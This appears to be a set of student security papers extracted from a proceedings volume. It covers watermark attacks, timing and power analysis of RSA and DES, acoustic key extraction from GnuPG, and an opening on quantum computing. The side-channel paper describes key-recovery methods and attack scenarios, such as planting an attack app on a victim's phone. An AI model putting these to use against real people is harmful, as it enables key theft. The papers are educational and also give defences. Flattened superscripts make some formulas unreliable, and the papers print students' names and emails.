In figure 6, the cover image is denoted as Lena and the watermark 

image is denoted as Hat. Both images are identical in dimension 

and color depth, 256×256pixels with 256 grey scale value. Two 

different watermarking techniques are also used to provide a more 

general sense of the different effect of the attacks on the 

watermark image.  

The first one is using Least Significant Bit (LSB) technique, 

which uses the last bit in the cover image to encode the watermark 

image, and converts the watermark image to a binary image as a 

result. The second watermark technique embeds the watermark in 

the Discrete Wavelet Transform (DWT) domain. This experiment 

will demonstrate on how the watermark image is affected, as well 

as the relative robustness of both algorithms upon comparing the 

results. 

9.1 Noise Attack 
Additive Gaussian noising attack is a process that adds a noise 

signal to an image in order to meticulously corrupts the image, 

and therefore reducing its visual quality. As shown in Figure 7, 

the statistical property of this noise adopts a Gaussian probability 

density function (PDF). A Gaussian PDF, also known as normal 

PDF, is the most commonly used probability distribution function 

to generate random numbers as it is presumed to model closely to 

many real life randomly occurring events. On top of that, the 

central limit theorem states that the distribution of the sample 

means of a sufficiently large number of samples will always 

approximate to the Gaussian distribution. The Gaussian PDF p(z) 

of a random variable z is defined as: 

 

 

Figure 7: Gaussian probability density function of width σ 

Two different values of σ were used to illustrate the effect of 

adding Gaussian noise to the watermarked imaged in the 

following experiment. Figure 8 shows the extracted watermark 

signals and their corresponding distortion values. 

 

Figure 8: Extracted watermark images and their distortion 

values after the Gaussian Noise attack 

In the above result shown in Figure 8, the watermark signals that 

uses the LSB technique were completely damaged by the 

Gaussian noise, whereas the general appearance of the same 

watermark is still recognizable from its original using the DWT 

(3) 

(4) 

(6) 

(5) 
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technique. Furthermore, this phenomenon can be quantitatively 

measured by comparing the resulting values of PSNR and NC. 

Salt and Pepper noise has a different probability distribution 

function to Gaussian noise as its PDF adopted the form of two 

impulse functions at two discrete locations as shown in Figure 9. 

The Salt and Pepper PDF p(z) can be derived using the two 

impulse functions provided in (7). 

 

Salt and Pepper noise portrays itself as randomly occurring white 

and black pixels in an image. If b > a in (5), the intensity b will 

appear as a white pixel in the image, and the intensity a will 

appear as a black pixel, in converse. The impulse noise values will 

resemble salt-and-pepper granules randomly distributed over the 

image if either Pa or Pb is non-zero and especially if they are 

approximately equal.  

 

Figure 9: Impulse probability density function 

An experiment with the same values of Pa and Pb was conducted 

to simulate the Salt and Pepper noise on the watermarked images. 

The values of a and b are chosen to be 0 and 255 respectively. The 

probability values are denoted as α, and hence Pa = Pb = α. 

Futuremore, two different values of α are used to provide a better 

general illustration of the effect of adding Salt and Pepper noise to 

the watermarked images. 

 

Figure 10: Extracted watermark images and their distortion 

values after Salt and Pepper Noise attack 

Figure 10 shows the extracted watermark signals and their 

corresponding distortion values after Salt and Pepper Noise 

attack. From the results, it is observed that LSB technique is 

superior to the DWT technique in terms of withstanding Salt and 

Pepper attacks. Again, this phenomenon can be quantitatively 

measured by comparing the resulting values of PSNR and NC. 

One plausible explanation for this phenomenon is that the 

watermark signal used in the LSB technique is a binary image 

(consisting of 0 and 255) and the effect of Salt and Pepper is 

tremendously reduced since the values of a and b are chosen to be 

0 and 255 respectively. 

9.2 Median Filtering Attack  
Median Filtering is an image processing technique that aims at 

reducing the presence of noise in an image, and therefore 

enhancing the quality of the image. The theoretical reason behind 

the use of Median Filter to attack watermarks is based on the 

property that the watermark signal possesses when it resides in its 

host. Any watermark signal can be considered as a small varying 

signal inside its host and the strength of this signal is equivalent to 

most noise in any image capture equipment. It is expected that any 

watermark signal present in the image will be affected or removed 

since a Median Filter removes the presence of noise. The 

following experiment uses a 3×3 pixel Median Filter window 

size on the watermarked images produced using the LSB and 

DWT techniques.  

 

Figure 11: Extracted watermark images and their distortion 

values after Median Filter attack 

Figure 11 shows the results of the extracted watermark signals 

after the Median Filter attack. From the results, it is observed that 

the LSB technique is better than the DWT technique in term of 

withstanding the Median Filtering attack. 

9.3 Gaussian Smoothing Attack 
Gaussian Smoothing is an image processing technique that aims at 

reducing the presence of noise in an image to improve the quality 

of the image, which is very similar to Median Filtering. The 

difference between Gaussian Smoothing and Median Filtering lies 

on the way the smoothing is performed. A Gaussian Smoothing 

filter is a low pass frequency filter. The Gaussian Filter is in effect 

filtering out any noise that is present in the signals by filtering out 

the high frequency components of these signals.  This is 

performed by replacing the value of each pixel in an image by the 

weighted average of the intensity levels in the neighbourhood 

defined by the filter mask in the spatial domain. The filter mask 

has component values defined by the Gaussian function and its 

width σ.  

(7) 
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Figure 12: Extracted watermark images and their distortion 

values after Gaussian Smoothing attack 

The effect of Gaussian Smoothing attack on the watermark images 

is shown in Figure 12. The results of the Gaussian Smoothing 

attacks have very similar effect on the watermark signal using the 

LSB and DWT techniques. 

9.4 Histogram Equalization Attack 
Histogram is an observed density function of a (random) variable. 

Histograms serve as the basis for various spatial domain 

processing techniques ranging from image analysis to image 

enhancement. They are used in numerous image processing 

applications, such as image compression, segmentation and 

contrast enhancement as they are based upon image pixels 

statistics. Histogram equalization is an example of image 

enhancement techniques, and it works by modifying the pixel 

values of the image by stretching the histogram. The process of 

stretching can be controlled by setting the desired number of grey 

scale value, η,in the image. 

 

Figure 13: Extracted watermark images and their distortion 

values after the Histogram Equalization attack 

The results of the effect of the Histogram Equalization attack on 

the watermark images are shown in Figure 13. From the results, it 

is observed that the Histogram Equalization attacks almost similar 

effect on the visual quality of the watermark signal using both 

LSB and DWT techniques. However, the DWT technique is 

suggested to be superior to the LSB technique based on the 

measurement of the quantitative distortion. 

9.5 Sharpen Attack 
The sharpening of image can be achieved in the frequency domain 

by using a high pass filter, which attenuates the low-frequency 

components without disturbing the high-frequency information in 

the Fourier transformation. A high pass filter H(ω) is obtained 

from its low pass filter L(ω) counterpart using H(ω) = 1 – L(ω) 

in the frequency domain. 

A low frequency Gaussian Smoothing Filter of width σ is used to 

derive the high frequency filter for conducting the following 

experiment. 

 

Figure 14: Extracted watermark images and their distortion 

values after the Sharping attack 

The results of the effect of a Sharpening attack on the watermark 

images are shown in Figure 14. From the results, it is observed 

that DWT produces a more stable watermark signal compared to 

LSB, in term of withstanding the Sharpening attack. One plausible 

explanation is due to the fact that the DWT technique embeds the 

watermark in the high frequency spectrum of the image, and 

therefore it is able to reduce the effect of the high pass filter better 

that the technique using LSB. 

From the above experimental results, it has been observed that the 

existing techniques have their different sensitivity and robustness 

to different attacks. Therefore, it is essential to develop new 

watermarking techniques with increased robustness to withstand 

the diversity of different attacking schemes. 

10. SUGGUESTION FOR IMPROVEMENT 
There are methods to fend against attacks on image copyrights. 

These methods could be further improved to help strengthen 

robust watermarking strategies. 

Fragile watermarks can be used to combat attacks. Fragile 

watermarks are sensitive to attacks of any scale, they will leave 

behind evidence to indicate that the watermarked image has been 

tampered with. Any attack that attempts to extract watermark data 

with an invalid key will also be caught. Damage can be seen on 

the fragile watermark when the original image after an invalid 

watermark extraction is compared with another original image 

after a valid watermark extraction. Fragile watermark can counter 

attacks such as ambiguity attacks. However, the fragile watermark 

should cover most of the original image so as to capture all 

invalid extraction attempts. 

Tiling watermarks can be use to fill up all over the watermarked 

image. By covering every part of the watermarked image, we can 

increase the robustness of security. This reduces space for 

attackers to potentially add an addition watermark. We can also be 

sure that at least one watermark will survive after a serious attack. 

This also reduces extraction time as watermark can be recovered 

from a small fraction of the watermarked data. 

11. Conclusion 
In this paper we explored different techniques in digital image 

authentication as well as attacks and threats to digital image 

copyright protection. We have seen that digital watermarking is a 

very common tool to protect copyright ownership.  

However, attackers are constantly implementing new ways to 

counter watermarking techniques. This makes it difficult for 

digital image authentication techniques to enforce copyright 

protection. With today's technology, any image that is uploaded to 

the internet can still be stolen easily. Even so, it is still strongly 
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advised that we make use of such tools to prevent others from 

claiming legal ownership of our images. 

We believe that the regulations for Digital Image copyright 

protection – take the DMCA for example – has not done enough 

to combat the widespread of illegal copyright infringements. Due 

to the restrictions of the international law over DMCA, 

enforcement of the copyright policy across borders is still a 

problem. The current protection techniques have to be constantly 

updated to adapt with improvements in technology so as to 

development new methods and solutions to resolve uprising 

attacks and problems. 
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ABSTRACT 
This paper presents three different types of side-channel 

attacks on cryptographic systems, namely timing, power 

and sound attacks. These attacks bring down the system 

from some physical properties of the system rather than the 

security mechanisms. It elaborates on the underlying 

principles behind each indirect attack with example as well 

as possible counter measurements for each of the attack. 
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1. INTRODUCTION 
 

Cryptography is all about keeping information secret. The 

ever increasing usage of computers and other electronic 

communication devices make it more and more important 

in our daily lives. Numerous algorithms and protocols have 

been propose and put into practices in the hope of 

protecting our privacy. As tough as the system gets, 

attacker still finds a way around. 

 

A chain is only as strong as its weakest link, an algorithm 

can get as strong as possible, it can only defense head-on  

 

 

 

 

attack, and easily become useless when attacker attack 

from the side. 

 

In the paper, we will introduce you three kinds of side-

channel attack: Timing attack, Power analysis attack and 

Sound analysis attack. 

 

 

 

2. TIMING ATTACK 
 

Timing attack is a very common side channel attack which 

makes use of time taken by a particular algorithm to 

complete its computation. With precise measurement, 

attacker can work backward to the input quickly. 

 

A timing attack is an example of an attack that exploits the 

data-dependent behavioral characteristics of the 

implementation of an algorithm rather than the 

mathematical properties of the algorithm itself. [1] 

 

2.1 Timing attack on crypto system 
 

Cryptosystems often take slightly different amounts of time 

to process different inputs. Reasons include performance 

optimizations to bypass unnecessary operations, branching 

and conditional statements, RAM cache hits, processor 

instructions (such as multiplication and division) that run in 

non-fixed time, and a wide variety of other causes. 

Performance characteristics typically depend on both the 

encryption key and the input data (e.g., plaintext or cipher 

text). [2] 

 

Here we will focus on timing attack on RSA. 

 

RSA is a public key cryptographic algorithm that is widely 

used today, it uses a public exponent e for encryption and a 

private exponent d for decryption. It uses a modulus N 

which is a product of two large prime numbers p and q , i.e., 

N = pq. The exponents e and d must be chosen to satisfy 

the condition ed = 1 mod (p - 1)(q - 1). Then the RSA key 

pair consists of the public key (N, e) and the private key d. 

For example, if we select two prime numbers p = 11 and q 

= 3, then N = 11 * 3 = 33. Now compute (p - 1)(q - 1) = 10 

 

Permission to make digital or hard copies of all or part of this work for 

personal or classroom use is granted without fee provided that copies are 
not made or distributed for profit or commercial advantage and that 

copies bear this notice and the full citation on the first page. To copy 

otherwise, or republish, to post on servers or to redistribute to lists, 
requires prior specific permission and/or a fee. 

 

Chen Xukun 

83049548 

a0087649@nus.edu.sg 

He Jingxiao 

83995511 

a0087637@nus.edu.sg 

Leow Wee Sheng 

90695304 

 
a0073548@nus.edu.sg 

 

Tam Gui Tao Samuel 

91192570 

 
a0078741@nus.edu.sg 

 

319



* 2 = 20 and choose a value e relatively prime to 20, say 3. 

Then d has to be chosen such that ed = 1 mod 20. One 

possible value for d is 7 since 3 * 7 = 21 = 1 mod 20. So we 

get the public key (N= 33, e= 3) and the corresponding 

private key d = 7. To encrypt a plaintext message M, we 

compute C = Me mod N, where C is the encoded message, 

or cipher text. To decrypt the cipher text C, we compute M 

= Cd mod N, which yields the original message M. 

Continue with our previous example where the public key 

(N= 33, e= 3) and the private key d = 7. Suppose we want 

to send a message M = 19. Encryption generates an 

encoded message C =Me mod N = 193 mod 33 = 28. The 

sender would send the encrypted message C = 28. To 

decrypt message C, the receiver uses the private key d and 

computes Cd mod N = 287 mod 33 = 19, which must be the 

original message M. [3] 

 

To attack RSA, the goal is to find d which is the private key 

which can then be used to decrypt any cipher text that was 

intended for the victim.  

 

To perform timing attack, the attack will make the system 

compute Cd mod N for some carefully selected values of C.  

By precisely measuring the amount of time required and 

analyzing the timing variations, the attacker can recover the 

private key d one bit at a time until the entire exponent is 

known. 

 

The modular exponentiation in RSA consists of a large 

number raised to a large exponent which is a time 

consuming operation. A simple and efficient algorithm for 

computing Cd mod N is the square and multiply algorithm. 

 
Figure 1: Square and multiply algorithm 

 

Here is how it work to solve 520 mod 33 noted that 20 in 

binary is (10100) thus step (a) and (c) have one extra step x 

= mod(xC,N): 

 

(a) 51 = (50)2 * 51 = 5 mod 33 

(b) 52 = (51)2 = 52 = 25 mod 33 

(c) 55 = (52)2 * 51 = 252 * 5 = 3125 = 23 mod 33 

(d) 510 = (55)2 = 232 = 529 = 1 mod 33 

(e) 520 = (510)2 = 12 = 1 mod 33 

 

Typical RSA implementations use the Montgomery 

algorithm to perform the multiplication and the square 

operations. With the Montgomery algorithm, 

multiplications take a constant amount of time, independent 

of the size of the factors. But if the intermediate result of 

the multiplication exceeds the modulus N, an additional 

subtraction, called an extra reduction, is performed. It is 

this extra reduction step that causes the timing difference 

for different inputs, and exposes information about the 

secret key. [3] 

 

Make use of the properties of the square and multiply 

algorithm and the mod function 

 
Figure 2: Mod function 

 

We illustrate the attack as follow: 

 

Consider the square and multiply algorithm, If dj = 0 then x 

= mod(x2, N), but if dj = 1 then two operations, x = mod(x2, 

N) and x = mod(xC, N), occur. In other words, the 

computation time should be longer when dj = 1. Also notice 

in mod function, computation is only executed if the 

intermediate result of the multiplication is greater than the 

modulus N. 

 

We start attacking d1 by choosing two messages Y and Z, 

where Y3 < N and Z2 < N < Z3.  

 

Compare the operations of the square and multiply 

algorithm (Figure 1) on the two messages Y and Z when j = 

1. If d1 is really 1, the operation x = mod(x * x2, N) will be 

performed. Since Y3 < N, the modulus operation does not 

occur for message Y. But since Z2 < N < Z3, the modulus 

operation occurs for message Z. On the other hand, if the 

actual value of d1 is 0, the operation x = mod(x * x2, N) will 

not be performed and the computations on Y and Z should 

take about the same time. In other words, the run time of 

the algorithm will be longer for Z only if d1 = 1. We can 

recover the bit d1 using this fact. [3] 

 

To eliminate all the noise, instead of single message Y and 

Z, we use a set of Y and a set of Z and get the average after 

we obtain the timing of each Y and each Z. 
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2.2 Technique required for such attack 
 

This attack is really simple, details of the implementation 

of the algorithm are not required, the only importation we 

need to know that the exponentiation id done using square-

and multiply. [3] 

 

2.3 Countermeasures 
 

The easier defense is to quantize all computation, but the 

drawback is that all computation must take the longest of 

all computation times.  

Another possible defense is to make all private key 

operations not depend on the input. One possible way to 

accomplish this is to always carry out the extra reduction in 

the Montgomery algorithm even though the result may not 

be used. [3] 

 

 

 

 

3. POWER MONITORING ATTACK 
 

In cryptography, power analysis is a form of side channel 

attack in which the attacker studies the power consumption 

of a cryptographic hardware device (such as a smart card, 

tamper-resistant "black box", or integrated circuit). The 

attack can non-invasively extract cryptographic keys and 

other secret information from the device. 

Simple power analysis (SPA) involves visually 

interpreting power traces, or graphs of electrical activity 

over time. Differential power analysis (DPA) is a more 

advanced form of power analysis which can allow an 

attacker to compute the intermediate values within 

cryptographic computations by statistically analyzing data 

collected from multiple cryptographic operations. [4] 

 

3.1 Simple Power Analysis 
 

Simple Power Analysis (SPA) is a technique that involves 

directly interpreting power consumption measurements 

collected during cryptographic operations. SPA can yield 

information about a device's operation as well as key 

material. 

 
Figure 3: SPA measuring DES 

A trace refers to a set of power consumption measurements 

taken across a cryptographic operation. For example, a 1 

millisecond operation sampled at 5MHz yields a trace 

containing 5000 points. The figure above shows an SPA 

trace from a typical smart card as it performs a DES 

operation. Note that the 16 DES rounds are clearly visible. 

 

Because SPA can reveal the sequence of instructions 

executed, it can be used to break cryptographic 

implementations in which the execution path depends on 

the data being processed. For example: 

DES key schedule:  

The DES key schedule computation involves 

rotating 28-bit key registers. A conditional 

branch is commonly used to check the bit shifted 

off the end so that "1" bits can be wrapped 

around. The resulting power consumption traces 

for a "1" bit and a "0" bit will contain different 

SPA features if the execution paths take different 

branches for each. 

DES permutations:  

DES implementations perform a variety of bit 

permutations. Conditional branching in software 

or microcode can cause significant power 

consumption differences for "0" and "1" bits. 

Comparisons:  

String or memory comparison operations 

typically perform a conditional branch when a 

mismatch is found. This conditional branching 

causes large SPA (and sometimes timing) 

characteristics. 

Multipliers:  

Modular multiplication circuits tend to leak a 

great deal of information about the data they 

process. The leakage functions depend on the 

multiplier design, but are often strongly 

correlated to operand values and Hamming 

weights. 

Exponentiators: 

 A simple modular exponentiation function scans 

across the exponent, performing a squaring 

operation in every iteration with an additional 

multiplication operation for each exponent bit 

that is equal to "1". The exponent can be 

compromised if squaring and multiplication 

operations have different power consumption 

characteristics, take different amounts of time, or 

are separated by different code. Modular 

exponentiation functions that operate on two or 

more exponent bits at a time may have more 

complex leakage functions. [5] 
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3.2 Differential Power Analysis 
 

Differential Power Analysis(DPA) is another form of 

power analysis attack, it is more powerful than SPA. DPA 

make use of statistical analysis to differentiate a signal of 

interest from noise and other power signals on a device. 

 

In addition to large-scale power variations due to the 

instruction sequence, there are effects correlated to data 

values being manipulated. These variations tend to be 

smaller and are sometimes overshadowed by measurement 

errors and other noise. In such cases, it is still often 

possible to break the system using statistical functions 

tailored to the target algorithm. [5] 

 

We will examine the detail of how DPA attacks DES 

implementations: 

 

In each of the 16 rounds, the DES encryption algorithm 

performs eight S box lookup operations. The 8 S boxes 

each take as input six key bits exclusive-ORed with six bits 

of the R register and produce four output bits. The 32 S 

output bits are reordered and exclusive-ORed onto L. The 

halves L and R are then exchanged. 

 

There are two phases in attacking DES: [6] 

1. Data collection 

An attacker first observes m encryption 

operations and captures power traces T1…m[1…k] 

containing k samples each. In addition, the 

attacker records the cipher texts C1…m. No 

knowledge of the plaintext is required. 

 

 2. Data Analysis

 

 
Figure 4: 16th DES round 

 

DPA selection function D(C,b,Ks) is defined as: 

– Returning the value b of the DES intermediate 

L at the beginning of the 16th rounds (0 <= b < 

32 ) 

– C is the corresponding cipher text 

– Ks is the 6 key bits entering the S-box 

corresponding to bit b (0 <= Ks < 26) 

 

DPA analysis uses power consumption measurements to 

determine whether a key block guess Ks is correct. The 

attacker computes a k-sample differential trace D[1…k] by 

finding the difference between the average of the traces for 

which D(C; b;Ks) is one and the average of the traces for 

which D(C; b;Ks) is zero. Thus D[j] is the average over 

C1::m of the effect due to the value represented by the 

selection function D on the power consumption 

measurements at point j. In particular, 

 
If Ks is incorrect, the bit computed using D will differ from 

the actual target bit for about half of the cipher texts Ci. 

The selection function D(Ci; b;Ks) is thus effectively 

uncorrelated to what was actually computed by the target 

device. If a random function is used to divide a set into two 

subsets, the difference in the averages of the subsets should 

approach zero as the subset sizes approach infinity. The 

differential trace will become flat. If Ks is correct, however, 

the computed value for D(Ci; b;Ks) will equal the actual 

value of target bit b with probability 1. The selection 

function is thus correlated to the value of the bit 

manipulated in the 16th round. As a result, the D[j] 

approaches the effect of the target bit on the power 

consumption as m->∞. Other data values, measurement 

errors, etc. that are not correlated to D approach zero. 

Because power consumption is correlated to data bit values, 

the plot of D will be at with spikes in regions where D is 

correlated to the values being processed. The correct value 

of Ks can thus be identified from the spikes in its 

differential trace. Four values of b correspond to each S 

box, providing confirmation of key block guesses. Finding 

all eight Ks yields the entire 48-bit round subkey. The 

remaining 8 key bits can be found easily using exhaustive 

search or by analyzing one additional round. 
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Figure 5: DPA measuring DES 

 

On top of the figure is the reference power trace showing 

the average power consumption during DES operations. 

Below are three differential traces, where the first was 

produced using a correct guess for Ks. The lower two 

traces were produced using incorrect values for Ks. These 

traces were prepared using 1000 samples (m = 103). 

 

 

3.3 Technique required for such attack 
 

The technique for carrying out SPA is fairly simple, 

however special equipment is needed for such attack. 

 

The technique for carrying out DPA is much more 

sophisticated and requires special equipment as well. 

 

Thus these two is not suitable for novice attackers. 

 

3.4 Countermeasures 
 

SPA  

Techniques for preventing simple power analysis 

are generally fairly simple to implement. 

Avoiding procedures that use secret intermediates 

or keys for conditional branching operations will 

mask many SPA characteristics. [5] 

 

DPA 

Introduce noise into power that consumption 

measurements. Like signal size reductions, 

adding noise increases the number of samples 

required for an attack, possibly to an unfeasibly-

large number. In addition, execution timing and 

order can be randomized. 

 

 

 

4. SOUND ANALYSIS ATTACK 

Many computers emit a high-pitched noise during 

operation, due to vibrations in some of their electronic 

components. These can convey information about the 

software running on the computer and, in particular, leak 

sensitive information about security-related computations. 

The acoustic signal of interest is generated by vibration of 

electronic components (capacitors and coils) in the voltage 

regulation circuit, as it struggles to supply constant voltage 

to the CPU despite the large fluctuations in power 

consumption caused by different patterns of CPU 

operations. The relevant signal is not caused by mechanical 

components such as the fan or hard disk, nor by the laptop's 

internal speaker. 

Individual CPU operations are too fast for a microphone to 

pick up, but long operations (e.g., modular exponentiation 

in RSA) can create a characteristic (and detectable) 

acoustic spectral signature over many milliseconds. 

It has been found that different RSA keys induce different 

sound patterns, but it was not clear how to extract 

individual key bits. The main problem was the very low 

bandwidth of the acoustic side channel (under 20 kHz using 

common microphones, and a few hundred kHz using 

ultrasound microphones), many orders of magnitude below 

the GHz-scale clock rates of the attacked computers. 

The interesting acoustic signals are mostly above 10KHz, 

whereas typical computer fan noise and normal room noise 

are concentrated at lower frequencies and can thus be 

filtered out. In task-switching systems, different tasks can 

be distinguished by their different acoustic spectral 

signatures. Using multiple cores turns out to help the attack 

(by shifting down the signal frequencies). When several 

computers are present, they can be told apart by spatial 

localization, or by their different acoustic signatures (which 

vary with the hardware, the component temperatures, and 

other environmental conditions).  

This type of acoustic cryptanalysis key extraction attack is 

applicable to GnuPG's current implementation of RSA. The 

attack can extract full 4096-bit RSA decryption keys from 

laptop computers, within the span of an hour, using the 

sound generated by the computer during the decryption of 

some chosen ciphertexts. It has also been shown that such 

attacks can be carried out, using either a plain mobile 

phone placed next to the computer, or a more sensitive 

microphone placed 4 meters away. [7] 

 

Depending on specific computer hardware: 
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● In almost all machines, it is possible to 

distinguish an idle CPU (x86 "HLT") from a busy 

CPU. 

● On many machines, it is moreover possible to 

distinguish different patterns of CPU operations 

and different programs. 

● Using GnuPG: 

○ distinguish between the acoustic 

signature of different RSA secret keys 

(signing or decryption), and 

○ fully extract decryption keys, by 

measuring the sound the machine 

makes during decryption of chosen 

ciphertexts. [7] 

 

This type of cryptanalysis has only been conducted only for 

the GnuPG 1.x implementation of RSA. Implementations 

using ciphertext blinding (a common side channel 

countermeasure) appear less vulnerable. GnuPG's 

implementation of ElGamal encryption also allows 

acoustically distinguishing keys. 

 

 

 

 

4.1 Equipment  

A regular mobile phone had been used to acoustically 

extract keys from a laptop at a distance of 30cm/ However, 

specialist equipment allows for the longer ranges at which 

the attack may be carried out, such as a sensitive parabolic 

microphone at 4 meters away. The same setup of the 

microphone, however without the parabolic dish, can be 

done at a distance of about 1 meter away.

 

Figure 6: Equipment for Sound Attack 

 

Only the microphone needs to be exposed however,, the 

rest of the equipment may be kept away. 

 

 

4.2 Possible scenarios of attack 

Some possible scenarios for carrying such an attack include. 

[7]:  

● Installing the attack app on your phone and 

setting up a meeting with the victim and placing 

the phone on the desk next to his laptop. 

● Acquiring access to your victim's phone, 

installing the attack app, and waiting until the 

victim inadvertently places his phone next to the 

target laptop. 

● Construct a web page use the microphone of the 

computer running the browser (using Flash or 

HTML Media Capture, under some excuse such 

as VoIP chat). When the user permits the 

microphone access, use it to steal the user's secret 

key. 

● Planting eavesdropping bugs and laser 

microphones to potential place’s the victim might 

use his laptop at. 

● Send your server to a colocation facility, with a 

good microphone inside the box, and then 

acoustically extract the keys from the all servers 

within the vicinity. 

 

4.3 How the attack is carried out 

To carry out the attack to GnuPG, it is possible to make 

GnuPG automatically decrypt ciphertexts chosen by the 

attacker. The idea is to use encrypted e-mail messages 

following the OpenPGP and PGP/MIME protocols. For 

example, Enigmail (a popular plugin to the Thunderbird 

email client) automatically decrypts incoming e-mail (for 

notification purposes) using GnuPG. The attacker can e-

mail suitably-crafted messages to the victims, wait until 

they reach the target computer, and observe the acoustic 

signature of their decryption (as shown above), thereby 

closing the adaptive attack loop. [7] 

To human ears, the acoustic leakage typically sounds like a 

faint, high-pitched whining or buzzing noise (if it is at all 

within audible range). There are two tones per decryption 

because, internally, each GnuPG RSA decryption first 

exponentiates modulo the secret prime p and then modulo 

the secret prime q and we can actually hear the difference 

between these stages. Moreover, each of these pairs of 

tones sounds different  because each decryption uses a 

different key.  

The key extraction attacks finds the secret key bits one by 

one, sequentially. For each bit, the attacker crafts a 

ciphertext of a special form, that makes the acoustic 

leakage depend specifically on the value of that bit. The 

attacker then triggers decryption of that chosen ciphertext, 

records the resulting sound, and analyzes it. [7] 
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4.4 Countermeasures 

One obvious countermeasure is to use sound dampening 

equipment, such as "sound-proof" boxes, designed to 

sufficiently attenuate all relevant frequencies. Conversely, a 

sufficiently strong wide-band noise source can mask the 

informative signals, though ergonomic concerns may 

render this unattractive. Careful circuit design and high-

quality electronic components can probably reduce the 

emanations. 

Alternatively, the cryptographic software can be changed, 

and algorithmic techniques employed to render the 

emanations less useful to the attacker. These techniques 

ensure that the rough-scale behavior of the algorithm is 

independent of the inputs it receives; they usually carry 

some performance penalty, but are often used in any case to 

thwart other side-channel attacks..[8 

It is tempting to enforce proper layering, and decree that 

preventing physical leakage is the responsibility of the 

physical hardware. Unfortunately, such low-level leakage 

prevention is often impractical due to the very bad cost vs. 

security tradeoff: 

● any leakage remnants can often be amplified by 

suitable manipulation at the higher levels, as we 

indeed do in our chosen-ciphertext attack. 

● low-level mechanisms try to protect all 

computation, even though most of it is insensitive 

or does not induce easily-exploitable leakage. 

● leakage is often an inevitable side effect of 

essential performance-enhancing mechanisms. 

Application-layer, algorithm-specific mitigation, in contrast, 

prevent the (inevitably) leaked signal from bearing any 

useful information. It is often cheap and effective, and most 

cryptographic software (including GnuPG and libgcrypt) 

already includes various sorts of mitigation, both through 

explicit code and through choice of algorithms. In fact, the 

side-channel resistance of software implementations is 

nowadays a major concern in the choice of cryptographic 

primitives, and was an explicit evaluation criterion in 

NIST's AES and SHA-3 competitions. 

One interesting thing to note is that many of the physical 

side-channel countermeasures used in highly sensitive 

applications, such as air gaps, Faraday cages, and power 

supply filters, provide no protection against acoustic 

leakage. In particular, Faraday cages containing computers 

require ventilation, which is typically provided by means of 

vents covered with perforated sheet metal or metal 

honeycomb. These are very effective at attenuating 

compromising electromagnetic radiation, but are nearly 

transparent to sound. [7] 

 

5. CONCLUSIONS 
 

Side channel attacks tell us that even if a cryptographic 

scheme is mathematically strong, it may not be secure in 

practice depending on the way it is implemented and on the 

design of the system as a whole. Cryptography should not 

be examined in isolation. The design of a secure system 

should encompass every aspect of the system, including the 

cryptographic and non-cryptographic aspects. [8] 
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ABSTRACT 
In this paper, we introduce the concept and characteristics of 
quantum computing and how it differs from classical 

computing. Few major algorithms of quantum computing, 

namely the Shor’s Algorithm and the Grover’s Algorithm will 

also be discussed and how they are used in respect to 
cryptography. This paper also demonstrates how characteristics 

of quantum computing are used in two quantum key 

distribution protocols and compares the quantum key 

distribution with the normal key distribution. Finally, this paper 
ends by articulating the current setbacks and challenges to 

quantum computing. 

1. INTRODUCTION 
In classical computer, the way we do parallel computing is not 

exactly parallel. We're just switching between processes very 
fast that it looks like we're doing several tasks simultaneously. 

The reason we can only execute one process at one point in 

time using one processor is because the classical computer uses 

classical bits to do its operation, which can only either have a 
value of 0 or 1. Now, imagine a computer that can do an 

operation to multiple bits at one point in time, would not that be 

the real parallel computing? It may sound impossible to 

implement, especially if we think in classical way. That is 
actually true, so we have to find another way to realize it, and 

here is where quantum computing fits in. In scientific 

community, the idea for a quantum computer is actually not 

new. It was first proposed a few decades ago. So what is so 

different with quantum computing? First, it uses quantum bits, 

or qubits, for its operation. Qubits, unlike classical bits, can 

have a value of 0, 1 or the value between them at one point in 

time. This way, we can perform an operation on every possible 
value of the qubits at one time by taking advantage of the 

particular characteristic of qubits. This is what makes quantum 

computing interesting and what makes it possible to perform an 

operation in a faster way compared to the classical way. In this 
paper, we will try to give a brief overview to quantum 

computing, how it works, its impact on computer security and 

the challenges in implementing it. 

2. QUANTUM BIT (QUBIT) 
Quantum bit (or qubit) is made up of a superposition of two 
states of a photon. The state refers to the alignment of its wave 

propagation, or simply the polarization. Any state can be 

represented by a superposition of its “vertical” polarization and 

“horizontal” polarization. Thus, a formal representation of the 
state of a photon can be written as: 

       ⟩      ⟩      ⟩ 
  and   are arbitrary numbers that determines the magnitude of 

the propagation. It can have a perfect horizontal polarization if 

  is zero and perfect vertical polarization if   is zero. However, 

quantum mechanics are all about uncertainties and probabilities 

and thus the probability of finding a superposition of a photon 

particle is dependent on the square of the wave function that is 

represented by    and   .    represents the probability of 

finding a horizontally polarized photon while    represents that 

of a vertically polarized photon. The total probability of finding 
a either horizontally or vertically polarized photon must be 

equal to 1. When the total probability of finding every possible 

value of a superposition state of qubit is equal to 1, the quantum 

state is said to be in a normalized state.  
 

Comparatively, a classical bit (or cbit) only has 2 states, either 

“off” or “on”, or simply 0 or 1, and nothing in between. On the 

other hand, qubits has virtually infinite amount of possible 

combinations of   and  , states that exist between state 0 and 

state 1 (if state 0 is horizontally polarized photon and state 1 is 

vertically polarized photon). 

  

2.1 Single Qubit Basis 
The term “basis” in quantum computing refers to the basis of 

the polarization when receiving or emitting a photon. Recall 

that every photon is a superposition of two perpendicular 

vectors where the sum of the square of their amplitudes is 1. In 
reference to the classical system, we can treat the basis as 0 and 

1. This is especially useful when we use quantum computing to 

encode bits (used in quantum key distribution, Section 5). 

 
The standard basis, which is using vertical and horizontal 

vectors, treats vertical polarization as 0 while horizontal as 1. 

There is also the second alternative basis, the Hadamard basis, 

which utilizes diagonal vectors. 
 

Standard: 

    ⟩         ⟩ 
Hadamard: 

    ⟩         ⟩ 
 

For further discussion in this paper, we will be using 0 and 1 as 

representation of the basis of polarization, which can refer to 
both standard and Hadamard basis. 

 

Measurement of a quantum state actually changes the state. 

Measuring a quantum state can be done by passing it through a 

polarization. That being said, if a state   ⟩      ⟩      ⟩ 
is measured with   ⟩, the state changes from   ⟩ to   ⟩. This 

means that unless the original state is using the same basis, it is 

impossible to determine the original state from any 
measurement. 

 

Also recall that quantum property is about randomness, 

meaning that if a horizontally polarized photon,   ⟩ , is 

measured using Hadamard basis,   ⟩, there is a 50% chance 

that the photon comes out as   ⟩ and 50% chance it will be 

absorbed. This is because   ⟩  
 

√ 
   ⟩    ⟩)  which means 
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the probability of the photon passing through is (
 

√ 
)
 
 which is 

50%, likewise for that of the photon being absorbed.  

 

2.2 Multiple Qubit System 
It is possible to have two or more photons at the same time or 
